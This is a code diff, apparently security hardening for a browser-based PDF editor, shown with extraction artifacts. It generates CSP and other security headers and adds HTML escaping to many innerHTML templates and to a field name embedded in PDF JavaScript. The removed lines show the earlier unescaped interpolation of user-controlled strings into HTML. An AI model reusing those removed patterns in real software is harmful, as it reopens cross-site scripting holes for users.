originOf(process.env.VITE_WASM_PYMUPDF_URL) || DEFAULT_WASM_ORIGINS.pymupdf,
|
||||||
|
originOf(process.env.VITE_WASM_GS_URL) || DEFAULT_WASM_ORIGINS.gs,
|
||||||
|
originOf(process.env.VITE_WASM_CPDF_URL) || DEFAULT_WASM_ORIGINS.cpdf,
|
||||||
|
];
|
||||||
|
|
||||||
|
const tesseractOrigins = uniq([
|
||||||
|
originOf(process.env.VITE_TESSERACT_WORKER_URL),
|
||||||
|
originOf(process.env.VITE_TESSERACT_CORE_URL),
|
||||||
|
originOf(process.env.VITE_TESSERACT_LANG_URL),
|
||||||
|
]);
|
||||||
|
|
||||||
|
const corsProxyOrigin =
|
||||||
|
originOf(process.env.VITE_CORS_PROXY_URL) || DEFAULT_CORS_PROXY_ORIGIN;
|
||||||
|
|
||||||
|
const ocrFontOrigin = originOf(process.env.VITE_OCR_FONT_BASE_URL);
|
||||||
|
|
||||||
|
const scriptOrigins = uniq([...wasmOrigins, ...tesseractOrigins]);
|
||||||
|
const connectOrigins = uniq([
|
||||||
|
...wasmOrigins,
|
||||||
|
...tesseractOrigins,
|
||||||
|
corsProxyOrigin,
|
||||||
|
]);
|
||||||
|
const fontOrigins = uniq([ocrFontOrigin].filter(Boolean));
|
||||||
|
|
||||||
|
const directives = [
|
||||||
|
`default-src 'self'`,
|
||||||
|
`script-src 'self' 'wasm-unsafe-eval' ${scriptOrigins.join(' ')}`.trim(),
|
||||||
|
`worker-src 'self' blob:`,
|
||||||
|
`style-src 'self' 'unsafe-inline'`,
|
||||||
|
`img-src 'self' data: blob: https:`,
|
||||||
|
fontOrigins.length
|
||||||
|
? `font-src 'self' data: ${fontOrigins.join(' ')}`
|
||||||
|
: `font-src 'self' data:`,
|
||||||
|
`connect-src 'self' ${connectOrigins.join(' ')}`.trim(),
|
||||||
|
`object-src 'none'`,
|
||||||
|
`base-uri 'self'`,
|
||||||
|
`frame-ancestors 'self'`,
|
||||||
|
`form-action 'self'`,
|
||||||
|
`upgrade-insecure-requests`,
|
||||||
|
];
|
||||||
|
|
||||||
|
const csp = directives.join('; ');
|
||||||
|
|
||||||
|
const contents = `add_header Content-Security-Policy "${csp}" always;
|
||||||
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||||
|
add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
add_header X-XSS-Protection "1; mode=block" always;
|
||||||
|
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||||
|
add_header Permissions-Policy "geolocation=(), camera=(), microphone=(), payment=(), usb=(), interest-cohort=()" always;
|
||||||
|
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||||
|
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||||
|
add_header Cross-Origin-Resource-Policy "cross-origin" always;
|
||||||
|
`;
|
||||||
|
|
||||||
|
const outPath = join(repoRoot, 'security-headers.conf');
|
||||||
|
writeFileSync(outPath, contents);
|
||||||
|
console.log(
|
||||||
|
`[security-headers] wrote ${outPath} with ${scriptOrigins.length} script-src / ${connectOrigins.length} connect-src origin(s)`
|
||||||
|
);
|
||||||
@@ -232,22 +232,22 @@ function showInputModal(
|
|||||||
if (field.type === 'text') {
|
if (field.type === 'text') {
|
||||||
return `
|
return `
|
||||||
<div class="mb-4">
|
<div class="mb-4">
|
||||||
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
|
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
|
||||||
<input type="text" id="modal-${field.name}" value="${escapeHTML(String(defaultValues[field.name] || ''))}"
|
<input type="text" id="modal-${field.name}" value="${escapeHTML(String(defaultValues[field.name] || ''))}"
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900"
|
class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900"
|
||||||
placeholder="${field.placeholder || ''}" />
|
placeholder="${escapeHTML(field.placeholder || '')}" />
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
} else if (field.type === 'select') {
|
} else if (field.type === 'select') {
|
||||||
return `
|
return `
|
||||||
<div class="mb-4">
|
<div class="mb-4">
|
||||||
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
|
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
|
||||||
<select id="modal-${field.name}" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900">
|
<select id="modal-${field.name}" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900">
|
||||||
${field.options
|
${field.options
|
||||||
.map(
|
.map(
|
||||||
(opt) => `
|
(opt) => `
|
||||||
<option value="${opt.value}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
|
<option value="${escapeHTML(opt.value)}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
|
||||||
${opt.label}
|
${escapeHTML(opt.label)}
|
||||||
</option>
|
</option>
|
||||||
`
|
`
|
||||||
)
|
)
|
||||||
@@ -261,7 +261,7 @@ placeholder="${field.placeholder || ''}" />
|
|||||||
defaultValues.destX !== null && defaultValues.destX !== undefined;
|
defaultValues.destX !== null && defaultValues.destX !== undefined;
|
||||||
return `
|
return `
|
||||||
<div class="mb-4">
|
<div class="mb-4">
|
||||||
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
|
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
|
||||||
<div class="p-3 bg-gray-50 rounded-lg border border-gray-200 space-y-2">
|
<div class="p-3 bg-gray-50 rounded-lg border border-gray-200 space-y-2">
|
||||||
<div class="flex items-center gap-2">
|
<div class="flex items-center gap-2">
|
||||||
<label class="flex items-center gap-1 text-xs">
|
<label class="flex items-center gap-1 text-xs">
|
||||||
@@ -313,7 +313,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
|
|||||||
} else if (field.type === 'preview') {
|
} else if (field.type === 'preview') {
|
||||||
return `
|
return `
|
||||||
<div class="mb-4">
|
<div class="mb-4">
|
||||||
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
|
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
|
||||||
<div id="modal-preview" class="style-preview bg-gray-50">
|
<div id="modal-preview" class="style-preview bg-gray-50">
|
||||||
<span id="preview-text" style="font-size: 16px;">Preview Text</span>
|
<span id="preview-text" style="font-size: 16px;">Preview Text</span>
|
||||||
</div>
|
</div>
|
||||||
@@ -326,7 +326,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
|
|||||||
|
|
||||||
modal.innerHTML = `
|
modal.innerHTML = `
|
||||||
<div class="p-6">
|
<div class="p-6">
|
||||||
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
|
<h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
|
||||||
<div class="mb-6">
|
<div class="mb-6">
|
||||||
${fieldsHTML}
|
${fieldsHTML}
|
||||||
</div>
|
</div>
|
||||||
@@ -830,7 +830,7 @@ function showConfirmModal(message: string): Promise<boolean> {
|
|||||||
modal.innerHTML = `
|
modal.innerHTML = `
|
||||||
<div class="p-6">
|
<div class="p-6">
|
||||||
<h3 class="text-xl font-bold text-gray-800 mb-4">Confirm Action</h3>
|
<h3 class="text-xl font-bold text-gray-800 mb-4">Confirm Action</h3>
|
||||||
<p class="text-gray-600 mb-6">${message}</p>
|
<p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
|
||||||
<div class="flex gap-2 justify-end">
|
<div class="flex gap-2 justify-end">
|
||||||
<button id="modal-cancel" class="px-4 py-2 rounded-lg bg-gray-200 hover:bg-gray-300 text-gray-700">Cancel</button>
|
<button id="modal-cancel" class="px-4 py-2 rounded-lg bg-gray-200 hover:bg-gray-300 text-gray-700">Cancel</button>
|
||||||
<button id="modal-confirm" class="px-4 py-2 rounded btn-gradient text-white">Confirm</button>
|
<button id="modal-confirm" class="px-4 py-2 rounded btn-gradient text-white">Confirm</button>
|
||||||
@@ -882,8 +882,8 @@ function showAlertModal(title: string, message: string): Promise<boolean> {
|
|||||||
|
|
||||||
modal.innerHTML = `
|
modal.innerHTML = `
|
||||||
<div class="p-6">
|
<div class="p-6">
|
||||||
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
|
<h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
|
||||||
<p class="text-gray-600 mb-6">${message}</p>
|
<p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
|
||||||
<div class="flex justify-end">
|
<div class="flex justify-end">
|
||||||
<button id="modal-ok" class="px-4 py-2 rounded btn-gradient text-white">OK</button>
|
<button id="modal-ok" class="px-4 py-2 rounded btn-gradient text-white">OK</button>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -71,22 +71,41 @@ function updateFileDisplay(): void {
|
|||||||
fileControls.classList.remove('hidden');
|
fileControls.classList.remove('hidden');
|
||||||
deskewOptions.classList.remove('hidden');
|
deskewOptions.classList.remove('hidden');
|
||||||
|
|
||||||
fileDisplayArea.innerHTML = selectedFiles
|
fileDisplayArea.textContent = '';
|
||||||
.map(
|
selectedFiles.forEach((file, index) => {
|
||||||
(file, index) => `
|
const row = document.createElement('div');
|
||||||
<div class="flex items-center justify-between bg-gray-700 p-3 rounded-lg">
|
row.className =
|
||||||
<div class="flex items-center gap-3">
|
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
||||||
<i data-lucide="file-text" class="w-5 h-5 text-indigo-400"></i>
|
|
||||||
<span class="text-gray-200 truncate max-w-xs">${file.name}</span>
|
const info = document.createElement('div');
|
||||||
<span class="text-gray-500 text-sm">(${(file.size / 1024).toFixed(1)} KB)</span>
|
info.className = 'flex items-center gap-3';
|
||||||
</div>
|
|
||||||
<button class="remove-file text-gray-400 hover:text-red-400" data-index="${index}">
|
const fileIcon = document.createElement('i');
|
||||||
<i data-lucide="x" class="w-5 h-5"></i>
|
fileIcon.setAttribute('data-lucide', 'file-text');
|
||||||
</button>
|
fileIcon.className = 'w-5 h-5 text-indigo-400';
|
||||||
</div>
|
|
||||||
`
|
const nameSpan = document.createElement('span');
|
||||||
)
|
nameSpan.className = 'text-gray-200 truncate max-w-xs';
|
||||||
.join('');
|
nameSpan.textContent = file.name;
|
||||||
|
|
||||||
|
const sizeSpan = document.createElement('span');
|
||||||
|
sizeSpan.className = 'text-gray-500 text-sm';
|
||||||
|
sizeSpan.textContent = `(${(file.size / 1024).toFixed(1)} KB)`;
|
||||||
|
|
||||||
|
info.append(fileIcon, nameSpan, sizeSpan);
|
||||||
|
|
||||||
|
const removeBtn = document.createElement('button');
|
||||||
|
removeBtn.className = 'remove-file text-gray-400 hover:text-red-400';
|
||||||
|
removeBtn.dataset.index = String(index);
|
||||||
|
|
||||||
|
const removeIcon = document.createElement('i');
|
||||||
|
removeIcon.setAttribute('data-lucide', 'x');
|
||||||
|
removeIcon.className = 'w-5 h-5';
|
||||||
|
removeBtn.appendChild(removeIcon);
|
||||||
|
|
||||||
|
row.append(info, removeBtn);
|
||||||
|
fileDisplayArea.appendChild(row);
|
||||||
|
});
|
||||||
|
|
||||||
createIcons({ icons });
|
createIcons({ icons });
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ type LucideWindow = Window & {
|
|||||||
};
|
};
|
||||||
|
|
||||||
import { initializeGlobalShortcuts } from '../utils/shortcuts-init.js';
|
import { initializeGlobalShortcuts } from '../utils/shortcuts-init.js';
|
||||||
import { downloadFile, hexToRgb } from '../utils/helpers.js';
|
import { downloadFile, escapeHtml, hexToRgb } from '../utils/helpers.js';
|
||||||
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
||||||
import { createIcons, icons } from 'lucide';
|
import { createIcons, icons } from 'lucide';
|
||||||
import * as pdfjsLib from 'pdfjs-dist';
|
import * as pdfjsLib from 'pdfjs-dist';
|
||||||
@@ -720,7 +720,7 @@ function renderField(field: FormField): void {
|
|||||||
field,
|
field,
|
||||||
'#ffffff'
|
'#ffffff'
|
||||||
);
|
);
|
||||||
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${field.dateFormat || 'mm/dd/yyyy'}</span></div>`;
|
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${escapeHtml(field.dateFormat || 'mm/dd/yyyy')}</span></div>`;
|
||||||
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
|
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
|
||||||
} else if (field.type === 'image') {
|
} else if (field.type === 'image') {
|
||||||
contentEl.className =
|
contentEl.className =
|
||||||
@@ -729,7 +729,7 @@ function renderField(field: FormField): void {
|
|||||||
field,
|
field,
|
||||||
'#f3f4f6'
|
'#f3f4f6'
|
||||||
);
|
);
|
||||||
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${field.label || 'Click to Upload Image'}</span></div>`;
|
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${escapeHtml(field.label || 'Click to Upload Image')}</span></div>`;
|
||||||
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
|
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
|
||||||
} else if (field.type === 'barcode') {
|
} else if (field.type === 'barcode') {
|
||||||
contentEl.className = 'w-full h-full flex items-center justify-center';
|
contentEl.className = 'w-full h-full flex items-center justify-center';
|
||||||
@@ -1105,7 +1105,7 @@ function showProperties(field: FormField): void {
|
|||||||
specificProps = `
|
specificProps = `
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Value</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Value</label>
|
||||||
<input type="text" id="propValue" value="${field.defaultValue}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propValue" value="${escapeHtml(field.defaultValue)}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Max Length (0 for unlimited)</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Max Length (0 for unlimited)</label>
|
||||||
@@ -1151,11 +1151,11 @@ function showProperties(field: FormField): void {
|
|||||||
specificProps = `
|
specificProps = `
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Group Name (Must be same for group)</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Group Name (Must be same for group)</label>
|
||||||
<input type="text" id="propGroupName" value="${field.groupName}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propGroupName" value="${escapeHtml(field.groupName)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Export Value</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Export Value</label>
|
||||||
<input type="text" id="propExportValue" value="${field.exportValue}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propExportValue" value="${escapeHtml(field.exportValue)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div class="flex items-center justify-between bg-gray-600 p-2 rounded mt-2">
|
<div class="flex items-center justify-between bg-gray-600 p-2 rounded mt-2">
|
||||||
<label for="propChecked" class="text-xs font-semibold text-gray-300">Checked State</label>
|
<label for="propChecked" class="text-xs font-semibold text-gray-300">Checked State</label>
|
||||||
@@ -1168,13 +1168,13 @@ function showProperties(field: FormField): void {
|
|||||||
specificProps = `
|
specificProps = `
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Options (One per line or comma separated)</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Options (One per line or comma separated)</label>
|
||||||
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${field.options?.join('\n')}</textarea>
|
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${escapeHtml(field.options?.join('\n') ?? '')}</textarea>
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Selected Option</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Selected Option</label>
|
||||||
<select id="propSelectedOption" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<select id="propSelectedOption" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
<option value="">None</option>
|
<option value="">None</option>
|
||||||
${field.options?.map((opt) => `<option value="${opt}" ${field.defaultValue === opt ? 'selected' : ''}>${opt}</option>`).join('')}
|
${field.options?.map((opt) => `<option value="${escapeHtml(opt)}" ${field.defaultValue === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`).join('')}
|
||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
<div class="text-xs text-gray-400 italic mt-2">
|
<div class="text-xs text-gray-400 italic mt-2">
|
||||||
@@ -1185,7 +1185,7 @@ function showProperties(field: FormField): void {
|
|||||||
specificProps = `
|
specificProps = `
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Label</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Label</label>
|
||||||
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Action</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Action</label>
|
||||||
@@ -1200,11 +1200,11 @@ function showProperties(field: FormField): void {
|
|||||||
</div>
|
</div>
|
||||||
<div id="propUrlContainer" class="${field.action === 'url' ? '' : 'hidden'}">
|
<div id="propUrlContainer" class="${field.action === 'url' ? '' : 'hidden'}">
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">URL</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">URL</label>
|
||||||
<input type="text" id="propActionUrl" value="${field.actionUrl || ''}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propActionUrl" value="${escapeHtml(field.actionUrl || '')}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div id="propJsContainer" class="${field.action === 'js' ? '' : 'hidden'}">
|
<div id="propJsContainer" class="${field.action === 'js' ? '' : 'hidden'}">
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Javascript Code</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Javascript Code</label>
|
||||||
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${field.jsScript || ''}</textarea>
|
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${escapeHtml(field.jsScript || '')}</textarea>
|
||||||
</div>
|
</div>
|
||||||
<div id="propShowHideContainer" class="${field.action === 'showHide' ? '' : 'hidden'}">
|
<div id="propShowHideContainer" class="${field.action === 'showHide' ? '' : 'hidden'}">
|
||||||
<div class="mb-2">
|
<div class="mb-2">
|
||||||
@@ -1215,7 +1215,7 @@ function showProperties(field: FormField): void {
|
|||||||
.filter((f) => f.id !== field.id)
|
.filter((f) => f.id !== field.id)
|
||||||
.map(
|
.map(
|
||||||
(f) =>
|
(f) =>
|
||||||
`<option value="${f.name}" ${field.targetFieldName === f.name ? 'selected' : ''}>${f.name} (${f.type})</option>`
|
`<option value="${escapeHtml(f.name)}" ${field.targetFieldName === f.name ? 'selected' : ''}>${escapeHtml(f.name)} (${escapeHtml(f.type)})</option>`
|
||||||
)
|
)
|
||||||
.join('')}
|
.join('')}
|
||||||
</select>
|
</select>
|
||||||
@@ -1281,7 +1281,7 @@ function showProperties(field: FormField): void {
|
|||||||
</div>
|
</div>
|
||||||
<div id="customFormatContainer" class="${isCustom ? '' : 'hidden'} mt-2">
|
<div id="customFormatContainer" class="${isCustom ? '' : 'hidden'} mt-2">
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Custom Format</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Custom Format</label>
|
||||||
<input type="text" id="propCustomFormat" value="${isCustom ? field.dateFormat : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propCustomFormat" value="${isCustom ? escapeHtml(field.dateFormat ?? '') : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div class="mt-3 p-2 bg-gray-700 rounded">
|
<div class="mt-3 p-2 bg-gray-700 rounded">
|
||||||
<span class="text-xs text-gray-400">Example of current format:</span>
|
<span class="text-xs text-gray-400">Example of current format:</span>
|
||||||
@@ -1298,7 +1298,7 @@ function showProperties(field: FormField): void {
|
|||||||
specificProps = `
|
specificProps = `
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Label / Prompt</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Label / Prompt</label>
|
||||||
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div class="text-xs text-gray-400 italic mt-2">
|
<div class="text-xs text-gray-400 italic mt-2">
|
||||||
Clicking this field in the PDF will open a file picker to upload an image.
|
Clicking this field in the PDF will open a file picker to upload an image.
|
||||||
@@ -1320,7 +1320,7 @@ function showProperties(field: FormField): void {
|
|||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Barcode Value</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Barcode Value</label>
|
||||||
<input type="text" id="propBarcodeValue" value="${field.barcodeValue || ''}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propBarcodeValue" value="${escapeHtml(field.barcodeValue || '')}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div id="barcodeFormatHint" class="text-xs text-gray-400 italic"></div>
|
<div id="barcodeFormatHint" class="text-xs text-gray-400 italic"></div>
|
||||||
`;
|
`;
|
||||||
@@ -1330,7 +1330,7 @@ function showProperties(field: FormField): void {
|
|||||||
<div class="space-y-3">
|
<div class="space-y-3">
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Field Name ${field.type === 'radio' ? '(Group Name)' : ''}</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Field Name ${field.type === 'radio' ? '(Group Name)' : ''}</label>
|
||||||
<input type="text" id="propName" value="${field.name}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propName" value="${escapeHtml(field.name)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
<div id="nameError" class="hidden text-red-400 text-xs mt-1"></div>
|
<div id="nameError" class="hidden text-red-400 text-xs mt-1"></div>
|
||||||
</div>
|
</div>
|
||||||
${
|
${
|
||||||
@@ -1343,7 +1343,10 @@ function showProperties(field: FormField): void {
|
|||||||
<select id="existingGroups" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<select id="existingGroups" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
<option value="">-- Select existing group --</option>
|
<option value="">-- Select existing group --</option>
|
||||||
${Array.from(existingRadioGroups)
|
${Array.from(existingRadioGroups)
|
||||||
.map((name) => `<option value="${name}">${name}</option>`)
|
.map(
|
||||||
|
(name) =>
|
||||||
|
`<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
|
||||||
|
)
|
||||||
.join('')}
|
.join('')}
|
||||||
${Array.from(
|
${Array.from(
|
||||||
new Set(
|
new Set(
|
||||||
@@ -1354,7 +1357,7 @@ function showProperties(field: FormField): void {
|
|||||||
)
|
)
|
||||||
.map((name) =>
|
.map((name) =>
|
||||||
!existingRadioGroups.has(name)
|
!existingRadioGroups.has(name)
|
||||||
? `<option value="${name}">${name}</option>`
|
? `<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
|
||||||
: ''
|
: ''
|
||||||
)
|
)
|
||||||
.join('')}
|
.join('')}
|
||||||
@@ -1367,7 +1370,7 @@ function showProperties(field: FormField): void {
|
|||||||
${specificProps}
|
${specificProps}
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Tooltip / Help Text</label>
|
<label class="block text-xs font-semibold text-gray-300 mb-1">Tooltip / Help Text</label>
|
||||||
<input type="text" id="propTooltip" value="${field.tooltip}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
<input type="text" id="propTooltip" value="${escapeHtml(field.tooltip)}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||||
</div>
|
</div>
|
||||||
<div class="flex items-center">
|
<div class="flex items-center">
|
||||||
<input type="checkbox" id="propRequired" ${field.required ? 'checked' : ''} class="mr-2">
|
<input type="checkbox" id="propRequired" ${field.required ? 'checked' : ''} class="mr-2">
|
||||||
@@ -1784,7 +1787,7 @@ function showProperties(field: FormField): void {
|
|||||||
field.options
|
field.options
|
||||||
?.map(
|
?.map(
|
||||||
(opt) =>
|
(opt) =>
|
||||||
`<option value="${opt}" ${currentVal === opt ? 'selected' : ''}>${opt}</option>`
|
`<option value="${escapeHtml(opt)}" ${currentVal === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`
|
||||||
)
|
)
|
||||||
.join('');
|
.join('');
|
||||||
|
|
||||||
@@ -2478,7 +2481,12 @@ downloadBtn.addEventListener('click', async () => {
|
|||||||
JS: field.jsScript,
|
JS: field.jsScript,
|
||||||
});
|
});
|
||||||
} else if (field.action === 'showHide' && field.targetFieldName) {
|
} else if (field.action === 'showHide' && field.targetFieldName) {
|
||||||
const target = field.targetFieldName;
|
const target = field.targetFieldName
|
||||||
|
.replace(/\\/g, '\\\\')
|
||||||
|
.replace(/"/g, '\\"')
|
||||||
|
.replace(/\r/g, '\\r')
|
||||||
|
.replace(/\n/g, '\\n')
|
||||||
|
.replace(/\0/g, '\\0');
|
||||||
let script: string;
|
let script: string;
|
||||||
|
|
||||||
if (field.visibilityAction === 'show') {
|
if (field.visibilityAction === 'show') {
|
||||||
|
|||||||
@@ -54,19 +54,42 @@ function updateFileDisplay() {
|
|||||||
? `${(currentFile.size / 1024).toFixed(1)} KB`
|
? `${(currentFile.size / 1024).toFixed(1)} KB`
|
||||||
: `${(currentFile.size / 1024 / 1024).toFixed(2)} MB`;
|
